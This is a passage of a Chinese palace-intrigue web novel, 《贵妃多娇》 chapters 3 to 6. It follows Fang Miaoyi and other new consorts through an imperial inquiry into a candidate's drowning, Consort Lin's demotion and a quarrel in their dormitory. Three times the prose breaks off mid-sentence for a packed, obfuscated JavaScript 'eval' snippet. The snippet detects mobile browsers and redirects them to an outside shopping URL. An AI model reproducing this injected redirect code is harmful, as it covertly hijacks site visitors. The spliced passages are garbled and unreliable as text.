《贵妃多娇》 3. 第 3 章 “有劳齐总管知会，我们这便过去。” 方妙意最先颔首，朝齐芳回了个浅淡的笑。杨淑女这才如梦初醒，霍地站起身来，膝盖头子撞在炕沿上，“咚”的一声。她却也顾不得揉，只手忙脚乱地去拢发鬓、捵衣角，像个被惊着的鹌鹑。 方妙意暗叹一声，拍开杨淑女胡乱扑腾的爪子，替她扶正鬓边歪斜的绒花： “慌什么？稳着些。” 杨淑女不经意碰着方妙意腕子，连忙收手“嗳”了一声，而后总算勉强定住神，与她一前一后迈出偏间门槛。 撷芳馆的正厅很是轩敞，上首主位已铺好明黄锦缎坐褥，透着不言自威的庄重。仪妃与琳妃则分坐于下首两侧，中间隔着丈许宽的空地，仿佛已经拉开阵势，只待战鼓擂响。 琳妃那张素来娇艳高傲的脸，此刻拉得老长，显见心里头正翻江倒海，还没从薛淑女投井的事里缓过劲儿来。 仪妃却松快得多，秋香色缂丝长比甲的下摆，随意搭在脚踏上。手中把玩一串紫碧玺，珠子 “嗒嗒”地撞着案角，她面上含着漫不经心的笑，像在琢磨什么有趣的事儿。 方妙意一踏进这里，便觉气压沉沉的，不是人多气浊，而是山雨欲来前的那种闷。 察觉二妃都侧眼看过来，方妙意忙欲蹲身行礼，外头却乍然响起警跸声。 紧接着，太监尖长的调门穿堂而入： “皇上驾到！” “皇后娘娘驾到！” 仪妃闻声，顿时也顾不上打量方妙意，赶忙起身往外头迎驾。 满厅的主子奴才瞬间矮下身子，稀里哗啦跪了一地。 人堆儿里也不知是哪个缺心眼的，把脑袋埋在砖缝里，小声嘀咕了句： “方才不还说刚过丽景门么？怎的转眼便到了？” 方妙意跟着众人跪下去，膝盖点在金砖上，凉飕飕的。虽瞧不见前头琳妃的脸色，但猜也能猜得出，铁定是更差了。 瞧帝后这般急吼吼的架势，还能是怎的？定是心头火气拱得厉害，嫌仪仗慢，这才紧赶慢赶地催着过来。 毕竟宫里死了位淑女，还是这么个不体面的死法，若是传扬出去，六宫脸面往哪儿搁？ 这一月来冷眼瞧着，琳妃虽说只接了一回驾，可在如今这旱得冒烟的后宫里，也算得上是拔尖儿的恩宠了。 只是不知经了今日这一遭，琳妃这份好不容易挣来的体面，还能不能保得住？ “臣妾恭请陛下圣安，恭请皇后娘娘金安。” 仪妃在前头领着众人请安，声口儿柔润平和，丝毫听不出方才嘲讽琳妃时的尖酸。 杨淑女跪在方妙意旁边，身子虽不敢乱动，一颗心却在腔子里怦怦乱撞，也不知是畏惧天威，还是期盼君恩，亦或兼而有之。 方妙意却没寻思那么多，只顾垂着眼帘，目光落在身前那块砖石上。上头雕刻的宝相金莲，都被宫中岁月磨得浅了，边缘晕开淡淡的黛青。 突然间，一双皂靴踏进余光里，正踩在宝相花心上。 靴面儿是上好贡缎所制，一尘不染，透着股子冷硬贵气。 紧接着，石青色缎绣袍摆自眼前掠过，龙身隐在海水与祥云之间，鳞爪微现，掀起一阵微凉的风，直扑她面门。 风里没有半分脂粉香气，只一缕瑞龙脑的清芬，混着点儿若有似无的松墨味儿。仿佛人心里有再多的浮躁，都能被这冷香死死摁下去。 可就是这瞬间，方妙意藏在心底的热望火苗猛地窜了上来，浑身血气都往头顶翻涌。 她这份悸动，跟杨淑女那点思春念想，可没什么干系。 方妙意屏住呼吸，满脑子就一个念头不停打转： 这就是她的财神爷，她的登云梯哪！ 下半辈子能不能荣华富贵，吃香喝辣，全看眼前这位的脸色。只要能攀上这根高枝儿，甭管他性子多冷、架子多大，对方妙意来说，那都是顶顶好的良配。 况且话说回来，皇帝的相貌是真真儿挑不出毛病，纵使前路艰难些，她也觉着自己横竖不亏。 此刻方妙意正神游天外，丝毫不知皇帝行至她跟前时，竟忽然耷了下眼皮。 陆观廷的目光掠过她发顶，便见那头青丝润亮得像匹上好黑缎子，光莹莹的脸蛋儿往下收窄，最终落成个尖尖巧巧、玉琢似的下颌。 “起来罢。” 辨清女子是谁后，陆观廷淡淡掷了句吩咐，径直越过蹲跪的众人。 这打量只一瞬间的事儿，快得无人察觉。 皇帝与皇后刚在上首坐定，琳妃就好似被人抽了骨头，“噗通”一声跪倒下去。 她嗓音哀切绵软，与素日的骄横简直判若两人。 “皇上，您可要为臣妾做主呀！冰糖、冰糖它死得好冤枉……” 说着，泪珠子便一颗接一颗滚下来，仿佛挺尸的不是条长毛狮子狗，而是她的命根子。 “臣妾养了它这么久，早当成心肝肉一般疼着，前儿还活蹦乱跳地舔臣妾手心，谁知到了夜里，就硬得跟块石头似的。” 琳妃哭得鼻尖儿微微泛红，却不显得狼狈，反叫人生出无限怜意来。 她这一跪不打紧，满屋子的宫女太监却都得跟着受累。 而仪妃方才还没来得及落座，这会儿虽不用陪着跪，可也不能大喇喇地装没事人，仍自顾自地走动。她被迫留在原地，两条腿站得发酸，心里头早就把琳妃祖宗十八代翻了个底朝天。 杨淑女被方妙意在袖子底下扯了一把，也忙不迭随众人跪下，眼珠子瞪得溜圆，看得呆若木鸡。 琳妃娘娘平日里瞧着盛气凌人的，可到了万岁爷跟前儿，竟能酥成这般模样，怪道能当宠妃，真有两把刷子。 眼见得琳妃又使出狐媚子招数，皇后手里的帕子都快绞成麻花，声音里透着股子少见的厉色： “圣驾当前，成何体统！琳妃，收起你那副妖调轻狂的做派，好生回话。” “宫里刚出了人命，事情还没个眉目，你倒先为条畜生哭天抢地起来！” 琳妃抬起那双红通通的泪眼，心里头冷笑一声。 呸！平日里三棍子打不出一个闷屁的受气布袋，今儿个见她倒霉，便等不及摆起主子娘娘的款儿来了？ 当初不过是仗着太上皇贵妃的势，才坐上睿王妃的位子，如今时移世易，还不知道夹起尾巴做人？真真是小人得志，也不撒泡尿照照自己！ 她心里骂得欢实，面上却更是委屈几分，也不搭理皇后，只把那张梨花带雨的脸转向皇帝，哀哀唤道： “皇上……” 陆观廷是真不耐烦听这些，抬手止住她这番黏缠。清冷眸子一转，落在齐芳身上： “你说，怎么回事？” 齐芳赶紧躬身上前，半点不敢藏着掖着，将钟粹宫里闹出来的动静，原原本本说了一遍。 末了，他眼珠子骨碌一转，飞快把话头往外甩： “万岁爷，之前最先察觉井中有异，并遣人来喊奴才的，是皇后娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990661|193685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘宫中两位学规矩的淑女。” 这可是在御前露脸的大好时机，杨淑女心脏狂跳，既惧且亢，不等方妙意反应，抢先一步开口： “启禀陛下，臣女晌午的时候儿打算回坤宁宫，正走在半道上，忽见井边摆着双绣花鞋。” “臣女越想越觉得不对劲儿，赶忙唤人来捞，谁知掉在井里的，竟是薛妹妹……她脸上肿得老高，还有好些个指印子，瞧着便像是受了大委屈的。” 她这一通抢白，把自己说得多机敏灵巧似的，至于真正拿主意、出对策的方妙意，竟是黑不提白不提了。 陆观廷眼皮子都没掀，语气淡淡的，却是一语中的： “你们今日为何在御花园？” 倘若没个旨意，这些没名没分的淑女也就是在四方天里转悠，岂能往园子里跑。 杨淑女忙道：“回陛下，是皇后娘娘体恤臣女等学规矩辛苦，今日特赐恩典，许臣女等人去御花园散心。” 皇后一听这话，赶忙站起身来，朝着皇帝蹲身告罪：“启禀陛下，今日之事确是臣妾应允。” “都怪臣妾思虑不周，开了这个口子，否则薛淑女也出不得钟粹宫，兴许便没这档子投井的事儿了。” “臣妾有失察之责，还请陛下降罪。” 皇后姿态摆得低，一派贤良淑德的模样。 “陛下明鉴，这事儿原也怪不得皇后娘娘。” 仪妃寻着机会，柔声细气地插嘴说： “娘娘是一片慈心，体恤新进宫的妹妹们，又怎能料到薛淑女气性这般大？她是一心求死，即便不在御花园投井，在钟粹宫里怕也……” “到时闹腾起来，面上更不光彩。” “说到底，还是琳妹妹太过疾言厉色，下手也没个轻重。” 仪妃可不是真心想替皇后开脱，不过是借力打力，擎等着看琳妃遭殃罢了。 而杨淑女听见仪妃开口，像是得着什么尚方宝剑，胆子也跟着肥了一圈，居然接着话茬儿说： “臣女先前路过新移栽了芭蕉的花圃，见泥地里被踩得乱七八糟。” “当时没放在心上，如今想来，约莫是薛淑女被琳妃娘娘吓破了胆，这才失魂落魄，连正经道儿也顾不得走，昏头昏脑地便直奔水井去了。” 旁人说嘴还罢了，杨氏不过一个名不见经传的小秀女，也敢爬到她头上作威作福？ 琳妃猛地扭头，狠狠剜了杨淑女一眼。 杨淑女被吓得一缩脖子，这才后知后觉地感到害怕。 方妙意在旁边安静跪着，耳尖却一直支棱着听动静，闻言顿时察觉事出反常。 就连齐芳那样的宫中老油子，都只敢照实回话，不敢有半分偏向，说完又赶紧把话茬儿往外抛，生怕得罪琳妃。 杨淑女平日也不见腰杆子有多硬，今儿竟敢当众说出这种把琳妃往死里踩的话。 是真蠢得没边儿，还是早就搭上了某条大船，此刻在替人冲锋陷阵？ 方妙意的目光，不自觉地飘向方才带头攻讦琳妃的仪妃。 她这点细微思量和悄然一瞥，并未逃过上方那双眼眸，又或许皇帝的心神，本就有些分在她身上。 见一直是杨淑女咋咋呼呼，方妙意始终低眉顺眼，恨不得自个儿隐了形去，陆观廷心中微哂。 ——这蛮狐狸装什么乖呢？ 他忽然朝杨淑女开口，声音不高，却在当下显得格外突兀： “你身边那个，是哑巴来的？” 4.第 4 章 此言一出，满屋子的人都愣了神，有些摸不着头脑。 随即，众人眼风悄悄往后瞟，这才发觉，被皇帝点名的人是方妙意。 杨淑女咬了咬嘴唇，侧目看去，眼神复杂得很。果然，不论她如何费心争抢，陛下的目光，早晚都还是要落去方姐姐身上。 意识到皇帝说的人是自己，方妙意不由惊愕，冷汗“唰”地一下便冒出来，瞬间把里面的小衣浸透，黏糊糊地贴在身上。 她这般不声不响，怎会突然招了皇帝问话？ 就算她容貌惹眼，可陆观廷是什么人？那可是素来视红粉佳人如无物的主儿。 “陛下说笑了。” 皇后反应倒快，立马欠身打圆场，声音温温缓缓的： “她们都是初入宫闱的姑娘，没见过什么风浪，乍然面圣，难免惶恐失措。” “若有失仪之处，还望陛下海涵，别跟妹妹们计较。” 皇后这话说是解围也可，但无疑也是把方妙意的嘴给堵住了，防止她与皇帝搭上话。 方妙意借着这空当儿，谨慎地抬起眼帘，往上首瞥了一眼。 皇帝这会儿并未看她，而是侧首听着皇后说话，俊脸上果然还是那副冷淡疏离、万事不挂心的神情。 方妙意暗自松了口气，心想他大概只是气不顺，随口拿人撒筏子罢了。 毕竟皇帝每次从静颐园请安回来，脸色就没个晴时候儿。 缘由无他，当年太上皇禅位，其中少说有一半是被今上“请”下去的。这对天家父子心结深重，大伙儿谁都不敢提，生怕犯皇帝的大忌讳。 今日之事因为牵扯嫔妃主子，撷芳馆里都关着门窗在审，憋了一屋子闷热暑气，混杂着熏香脂粉的甜腻味儿。陆观廷额角隐隐发胀，也懒得再听众人聒噪，索性做了定论： “钟粹宫当值宫人懈怠惫懒，未能妥善看顾薛氏，致使其独自外出，失足落井。” “尸身用白布裹了，送还母家罢。” 众人听罢，顿时变了脸色。 仪妃蹙了蹙眉头，心中不甚服气。谁家失足坠井，还有闲工夫把鞋脱了摆在井口？这不明摆着是自个儿跳下去的么。 琳妃则是心头一喜，潮红的眼角都飞扬起来，只当皇帝是要保她。 她唇角刚欲扬起，却听陆观廷声气儿依旧冷冷的，续道： “宫中学规矩女子有过，当奏禀朕与皇后处置。琳妃擅动私刑，骄纵失德，着即降为昭仪，并笞手三十，以儆效尤。” 琳昭仪脸上那点喜色还没晕开，就这么僵住了，血色瞬间褪了个干干净净。 她抖动着双唇，似乎不敢相信皇帝会这样没脸地罚她。 方妙意却是旁观者清，隐隐约约看出些门道。 皇帝保的哪里是琳昭仪？分明是不愿舍弃在前朝当差的薛家人。 如若定论薛淑女在宫中自戕，那便是大不敬的罪过，其母家必受牵连。眼下皇帝还要用薛家，自然不会对薛淑女的死刨根究底。 这位万岁爷，果然还是十年如一日的面冷心硬，儿女情长根本没到能影响他决断的份上。 方妙意暗暗吸了口凉气，想把这座冰山给捂化成春水，还真是任重而道远。 “陛下！陛下开恩呐！” 琳昭仪这下是真慌了神，再也顾不得什么仪态，膝行几步，哀哀恳求： “这、这委实打不得！臣妾知错了，求皇上念在往日情分，宽宥臣妾这遭。” “不然往后六宫上下，该用什么眼神瞧臣妾？臣妾还如何能统御一宫……那些个奴才还不都得欺负到臣妾头上？” 她嘴里说的是统御一宫，其实指不定是惦记着辖制六宫呢。 琳昭仪既然盯着皇后宝座，心中最怕的便是失了主子威严，被底下人随意看轻了去。 降为昭仪兴许还能有复位的一日，可若让阖宫看见她如同宫婢般被戒饬，往后还有哪个奴才肯私心里服她？ 陆观廷本就窝着火，回宫又听了这半晌的车轱辘话，耐心早已告罄，连渣子都不剩了。 情分？他们能有什么情分？ 见琳昭仪还在那儿哭天抹泪，没完没了，陆观廷想起她素日骄纵跋扈，与皇后分庭抗礼、制衡中宫倒还勉强算个用处，但委实成事不足，败事有余。 本朝头回大选，就闹出这等逼死人命的丑事，简直蠢钝不堪。 “既如此，手板子便免了。” 琳昭仪闻言怔住，还没来得及谢恩，下一句却让她如坠冰窟，浑身血液都冻住了。 “都赏在脸上罢。” “就在她宫院门口行刑，让宫里的人都瞧清楚，好好儿立个规矩。” 厅里倏然一静，连根针掉地上都能听见响儿。 哪怕是皇后和仪妃，此刻也都笑不出来了，背脊上蹿起一股寒意。 虽说琳昭仪被罚掌嘴也属活该，但宫中尊卑有别，她好歹是高位嫔妃，即便扇了薛淑女几个耳光，又哪有同样打罚回去的道理？ 这般处置，要么怨琳昭仪自己圣眷太浅，不受器重。要么就是在万岁爷眼中，这后宫里的女子，无论位份高低，是妃是婢，其实都没什么分别。 皇后和仪妃宁愿相信是前者，也不愿深思后者，否则这深宫里的日子，也未免太叫人灰心丧气了。 琳昭仪已经彻底吓呆在原地，往自个儿小腿上一坐，连最拿手的美人泪都忘了该怎么流。 最后还是皇后定了定神，斟酌着劝和两句： “陛下，琳妹妹毕竟是内廷主位，罚了她倒是不打紧，但若让奴才们看了笑话，说咱们皇家刻薄，只怕有损陛下圣德。” 仪妃也难得地闭紧嘴巴不吱声，显然是被皇帝的狠绝震慑，生怕再多嘴一句，板子就该落到自个儿脸上了。 陆观廷拿眼梢一挂，见琳昭仪面无人色，寻思着她虽说驽钝，却也没到是废铁一块，非得扔进熔炉里重铸的时候。 新选进宫的秀女们尚未站稳脚跟，他也还没挑出新刀子来替。倘若放任后宫里一家独大，那才是真的没个章程，全乱套了。 瞧了眼还在埋头装傻的方妙意，陆观廷到底改换口风，仍命那三十板子罚在手上。 稍顿，又道： “钟粹宫一干玩忽职守的奴才，皇后看着发落。” “是，臣妾遵旨。” 皇后福身应声，见眼前龙袍影子一晃，又赶忙率众人送驾。 “恭送陛下。” 不论是真怕还是假怕，这会儿众人都跟被掐了脖子的鹌鹑似的，一个比一个守规矩。 陆观廷也没那闲工夫跟她们磨牙，待御前总管宝瑞拉开门闩，便大步踏出了撷芳馆。 琳昭仪跪在前头，身子还轻轻抖个不停，分明是三魂七魄刚归位的后怕。 若是真在自家宫门口被掌了嘴，她这辈子也不用在宫里待着，直接一根绳子吊死在歪脖子树上还要干净些。 即便如此，她还得死撑着一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995696|193685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空架子，哪怕膝盖软得跟面条似的，也不肯在皇后和仪妃面前示弱。 方妙意见状，心中不由叹了一声，暗道今儿个这遭，也算是结结实实给她提了个醒。在皇帝跟前，甭管你是谁家的千金，还是哪宫的娘娘，千万别太拿自己当盘菜。 这警醒可得时刻记着，稍有行差踏错，栽下来就是摔个稀碎的下场。 她又不免心有余悸地回想，方才皇帝似乎没拿正眼瞧过她。 应当是没认出来吧？ 前几年那点陈芝麻烂谷子的旧账，对皇帝来说不过是过眼云烟，恐怕早就像鞋底的泥巴，蹭一蹭就没了。 再说了，慧增大师可是替她批过命的，她是注定要在宫里当娘娘，享尽荣华富贵的命数！ 待到皇帝离去，撷芳馆里的绷紧劲儿总算散去。众人都跟抽了筋似的，被天威压得浑身酸疼。 皇后揉着当阳穴，朝大宫女玲夏使了个眼色。玲夏会意，麻溜儿搬来两个绣墩，请方妙意和杨淑女在下首坐了。 “咱们还不走么？” 杨淑女只敢搭着半截儿凳沿，身子往前欠着，眼神儿慌慌张张地往门口瞟。 “嘘！” 方妙意从齿间吹出口气儿，提醒杨淑女别瞎言语。 皇后留人，自是有话没说完呢。这会儿想走，不要命了？ “本宫奉圣上旨意，处置钟粹宫这起子刁奴，下手轻了重了的，琳昭仪也别往心里去，本宫都是为了规矩体统。” 皇后终于顾得上端起茶碗，用盖子撇着浮沫，心情大好。 “钟粹宫首领太监王得禄，疏忽失察，即刻杖打二十，撵到北五所当秽差。” “接引薛淑女的管教嬷嬷、领班宫女等四人，亦未尽照看之责，一律打发去浣衣局服役。” 皇后语调不紧不慢，跟钝刀子割肉似的。谁都知道，王得禄是琳昭仪身边最得力的一条狗。如今狗被撵走，主人的爪牙也就折了大半。 琳昭仪染着鲜红蔻丹的指甲，深深掐进肉里，极想抬眼瞪回去，可如今人在屋檐下，又不得不低头。 “至于琳昭仪，方才皇上既发了话，你便早些回宫‘领赏’去罢。”皇后说得轻巧，可字字都往人心窝子里扎，“往后再行事，可得把这‘分寸’二字掂掇仔细，莫再逞性妄为，触怒圣颜了。” 这番中宫劝诫，简直是鞭子抽在琳昭仪脸上。她嘴唇动了动，眼下到底没敢还嘴，喉咙里只挤出干涩的一句： “是……臣妾遵旨。” 皇后身边的两个嬷嬷上前搀她，手臂架得硬邦邦的，哪还有半分客气劲儿。琳昭仪脚下一软，踉跄着被半扶半拖往外走，宫裙蹭过门槛时窸窣作响，竟透出几分破败相。 满屋子人都垂着眼，心道这位往日能在东西六宫横着走的琳妃娘娘，从今往后，怕是再也抖不起那份威风了。 而皇后哪怕处境再尴尬，也是中宫皇后，是名正言顺的六宫之主。至少明面上，没人敢违抗她的意思。 盯着皇后袍袖上的绣金凤凰，方妙意握紧拳头，狠狠给自己鼓了把劲儿。 这权柄在手的滋味，是很美妙。 野心在胸中鼓噪起来，就像儿时祖父给她做过的琉璃噗噗噔儿。小心翼翼往吹管里一呵气，琉璃水霎时就被吹胀了，鼓成一个颤巍巍、亮晶晶的泡，在心底晃晃悠悠地飘起来。 但她可不想当个虚浮易碎的彩泡，她要稳当当、亮堂堂地升上去，升成夜夜悬在宫阙顶上的月亮。 5.第 5 章 仪妃坐在皇后右下首，耐着性子看她耍了半天威风，抢阳斗胜的心思便又拱上来。 叫皇后一个人把风头出尽了，往后这宫里，还有旁人说话的份儿么？ 仪妃心里有了主意，眉眼一弯，笑吟吟地开口： “皇后娘娘发落得极是妥当，只是明儿个就是淑女们受封的好日子了，还住在钟粹宫里怕是不吉利。” “况且皇上金口玉言，斥责琳昭仪德行有失，再让她教导新进宫的妹妹们，也不够妥帖。” 她往前倾了倾身子，仿佛与皇后心贴心似的： “依臣妾愚见，不如今晚就让苏淑女挪个地儿。坤宁宫地方宽敞，又最是端正祥和，叫苏淑女暂住一宿，沾沾皇后娘娘的福气，明儿个风风光光地受封，岂不体面？” 秀女进宫后，内廷主位们各自分了三四个在手底下调教。如今刘淑女遭撵，薛淑女投井，琳昭仪的钟粹宫里就剩下一个苏淑女。 这位苏淑女来头可大，乃是已故孝圣皇后的娘家侄女，当今圣上的亲表妹。就是琳昭仪最嚣张的时候，也不敢贸然招惹她，更何况是如今这光景。 仪妃打着为苏淑女好的旗号，把人挪到坤宁宫去，纯粹就是想给皇后上眼药罢了。 皇后面上仍端着雍容大度的笑容，再开口时，声气儿却淡了下去： “仪妃倒是思虑周全。” 眼风扫过坐在下首的方妙意，皇后顿了顿，心中渐渐升起玩味，竟也没那么恼仪妃了。 苏家是江南望族，百年间出过两位元后。方家又是京中根深叶茂的国公府，世代尊荣。这两边出来的姑娘，哪个是省油的灯？只怕不用旁人费心，自己就先要斗起来，今晚让她们提早打个照面，也是桩趣事。 “既如此，便叫苏淑女搬来坤宁宫，与本宫那儿的妹妹们一处住着罢。彼此间有个照应，也省得孤单。” 方妙意闻言不由蹙眉，悄悄与杨淑女对了个眼神。 得！皇后和仪妃斗法，反给她们屋里塞了尊大佛。 - 坤宁宫的后罩房里，窗牖尽开，内里悬着薄如蝉翼的碧罗纱透气儿。这仲夏夜的闷热，却仍叫人受不住。 墙角那尊掐丝珐琅彩大缸里，冰坨子早已化得差不多了，只剩下半缸凉水。 杨淑女坐在榻沿上，屁股底下像是长了钉子，怎么坐都不踏实。浸在红木盆里的双足也不老实，不自觉地轻轻踢踏，把几朵小水花溅去外头。 云莺蹲在脚踏边，手里攥着方软巾，想给小姐擦脚，又不敢催，只得仰着脖子干耗着。 杨淑女还在咂摸白日里的种种，眼风时不时就往方妙意那边遛一遛，心里小猫爪子挠啊挠的。想说话，又怕讨人嫌，嘴巴张了又合，像条离了水的鱼。 对面炕上，韩淑女今儿没出门，早早便洗漱停当。她也嫌热，头发拆散开，乌压压地铺了一枕头。身上只一件水红冰绡抹胸，露出两弯雪白的膀子，外头松松罩了件纱衣。 手里那把纨扇也不摇了，扔给身旁跪坐的丫头品儿。 屋里静得快要长毛了。 品儿打扇的手不敢停，眼皮子却已经开始悄悄打架。 冷不丁的，韩淑女咳嗽一声，从鼻子里哼哼着问： “杨妹妹，这水都要凉透了，您还没搓够呢？” 杨淑女正直着眼睛发呆，被她一问，唬了一跳。脚丫子猛地从盆里抽出来，扬起一串水珠，差点甩在云莺脸上。 “哎哟……” 云莺禁不住轻呼一声，又赶忙拿软巾去裹小姐的脚。 “今儿个御花园里，可是唱了好大一出戏。我光在屋里听着，都觉得心惊肉跳的。” 韩淑女说着，还从枕头堆儿里扑腾坐起来： “听说是薛家那位不想活了，自个儿往井里跳？你们当场撞见，凑近细瞧了没有？” 她脸上挂着点幸灾乐祸的笑，看得人心里发毛。 杨淑女局促地“嗯”了一声，想起不对，又赶忙改口： “不是自戕，陛下说她是失足落井。” “韩姐姐快别提那茬儿了，现下想起来，我这心还怦怦直跳呢。可不就是……那样么，白布一盖，什么都没了。” 她含糊着，不想细说，又偷眼去瞧方妙意。 可方妙意已经躺下，翻身背对着她们。被子拉到了肩膀上，半点动静也无，不知是不是睡熟了。 韩淑女可不管同屋的人睡没睡，闻言越发来了劲头，一把夺过品儿手里的扇子，自顾自地猛扇几下，带起的风把额前碎发吹得乱飞。 “这可真是飞来横祸，好端端的人，说没就没了。” “听说后来，陛下还亲临撷芳馆了？”她身子往前探了探，压低嗓门，却掩不住里头的急切，“陛下是什么模样儿？可还宽和？偏我今儿身上懒怠，没跟着出去疏散疏散，平白错过这机缘。杨妹妹好歹说两句，叫我也开开眼。” 杨淑女被她逼问得脸上红一阵白一阵，支吾着说： “陛下嘛……陛下当然是威仪天成。” 听她甩这些片儿汤话，韩淑女“啧”了一声，很是不满。 杨淑女咽了口唾沫，只好又绞尽脑汁地往外挤词儿： “陛下身量高，往你跟前一站，影子就能把人囫囵罩住。龙袍下摆一打晃，余光里能瞧见的全是腿，上头腰身在哪儿，根本瞟不着。相貌不必说，自是洵俊英挺的，好像还生了双瑞凤眼……” “只是通身的贵气忒迫人，当时大伙儿都跪着，谁敢抬头细看呐？” 她越说声音越小，显然是招架不住这咄咄逼人的盘问。眼见着韩淑女还要张口，杨淑女心里发急，也没过脑子，扭头就去扒拉方妙意： “方姐姐，当初陛下还是皇子的时候，不是去过您家府上，替老太君做寿么？您私底下见了怹，是怎么能不打怵的？” 方妙意确实没睡着，一阖上眼，白日里井台边那副景象便直往脑子里撞。 旁人都是耍耍嘴皮子，可她是真见着薛淑女尸首的。她头一回这般近地去瞧一个断气的人，饶是心里已经做足准备，此刻夜深人静，姗姗而来的恶寒却还是从脚底板爬上来，混着胃里一阵阵的翻搅。 听见杨淑女哪壶不开提哪壶，方妙意险些被口水呛死，只得翻了个面儿，慢吞吞地撑榻坐起来。敞衣滑落，露出一大片莹白的背。 “这都是哪年的老皇历了？” 抬指拢起肩上滑落的薄纱披衣，方妙意淡定地说： “那时候我是待字闺中的姑娘，前头有屏风挡着，跟外男打交道的事儿，我上哪儿知道去？” 杨淑女被噎得一愣，傻乎乎地点头：“也对……” 对面韩淑女听了这话，却是不信，冷笑一声： “嗳唷，我当是谁呢？原来是咱们国公府的大小姐开了金口。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001234|193685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩淑女故意把调门儿拖得老长，透着股阴阳怪气的劲儿： “到底是您身份尊贵，这面圣的体面事儿，哪能跟咱们这些没福气的人说道？” 方妙意懒得与她斗嘴，掩口打个哈欠，身子一歪，又要躺回去。 见她对自己爱答不理，韩淑女心里更恼火。今儿没赶上园子里的巧宗儿，她本就憋着一肚子气，这会儿全撒了出来。 “方大小姐不爱说也无妨，有些旧事，我倒是略知一二，正好拿出来给大家伙儿解解闷。” “也不扯远了，就说三年前吧。那时候圣上还是睿王爷，宫里头办赏花宴，明摆着就是要相看王妃。” “听说帖子都已经送到府上，偏生方大小姐‘病了’，这一病就错过了大好姻缘，啧啧……不然就凭您这家世，哪能有选不中的道理？” 杨幼薇听得一愣一愣的，嘴巴张得老大。 韩淑女见状，得意地哼哼两声，嘴皮子翻飞： “再说说去年，万岁爷刚登基，宫里满打满算，只有从潜邸带来的一后二妃。宁寿宫的几位老娘娘看得上火，紧赶着在京中顶尖儿贵女里挑人礼聘。” “若是当时进了宫，这会儿怎么着也是个贵嫔主子了。” 韩淑女掩嘴笑了一声，笑声尖细刺耳： “可不巧，方大小姐又要给长辈守孝，这一守，又把机会给守没了。” “要我说啊，这人要是走了背字儿，喝凉水都塞牙。” “如今还得跟咱们这些毛丫头一块儿挤在后罩房里，叫老嬷嬷们捏扁揉圆地挑拣，真是难为您了。” 她这话连削带打，一面说，还一面像模像样地掰着手指头： “知道的，是说您运道不济。不知道的，还以为您一门心思撂高儿打远儿，非九五之尊不嫁呢。” 方妙意躺在床上，面无表情地抬手，拍死一只嗡嗡乱叫的蚊子。 韩淑女的话虽不中听，却也没说错什么。 她可是要稳稳当当做皇妃的，干嘛要蹚夺嫡的浑水？ 万一押错了宝，跟如今被圈禁起来的慎王似的，一家子人咬起牙来吃糠咽菜，那才真叫倒了血霉。 她方妙意爱吃甜的酸的香的辣的，就是不爱吃苦。把身家性命都填进去豪赌，那是蠢蛋才干的事儿。 方妙意心里稳得住，倒没怎么生气，杨淑女却先听不下去了。 她两只手紧紧交握在一起，好像是给自己壮胆儿，脖子一梗，冲着韩淑女就怼回去： “韩姐姐这话说的，也不怕风大闪了舌头。” “方才那些混账话，您怎么不问问苏淑女去？” “人家还是万岁爷的正经表妹呢，不也同咱们一样，走采选的路子来着？” 话音刚落，屋里霎时一静。 角落里，一直没开口的苏淑女，闻声缓缓抬起眼。 隔着屋当中那盏莲花宫灯，苏淑女的目光，不期然与方妙意撞了一下。只轻轻一碰，两人都不禁发怔，随后又不好意思一直盯着对方看，慌忙挪眼躲闪。 苏淑女转向了杨幼薇，方妙意则独自垂眸坐着，指尖无意识地绕着胸前青丝打转。转着转着，她忽然莞尔。 一段儿时常哼的童谣，就这么从心底浮了上来： “水妞儿，水妞儿，先出犄角后出头……” 人与人初见的试探，可不就像两只伸出犄角的水妞儿吗？ 6.第 6 章 坏了！ 杨幼薇这才猛然记起，苏淑女打从搬进来就窝在窗边，安安静静地抱着书啃，大伙儿都快忘了今夜屋里还多个人呢。 自己方才急着替方姐姐出头，嘴比脑子快，竟把她给扯了进来！这不亚于背后嚼舌根子，结果被人家当场逮住。 “我、我是说……” 杨幼薇的脸“腾”地红了，眼神躲闪，恨不得立刻在地上找个缝儿钻进去。她喉咙发紧，舌头打结，赶忙搜肠刮肚地找补几句： “大家都是清清白白的官家女儿，采选进宫也是按着规矩来的，怎么就低人一等了？” “更何况，韩姐姐跟咸福宫的淳贵嫔，不还是一母同胞的亲姐俩么？” “要依您自个儿的话说，您二位一个礼聘，一个采选，难不成是天上地下的分别？您是承认自个儿比贵嫔娘娘差远了？” 她越说越顺溜，最后瞪着眼，索性豁出去了。 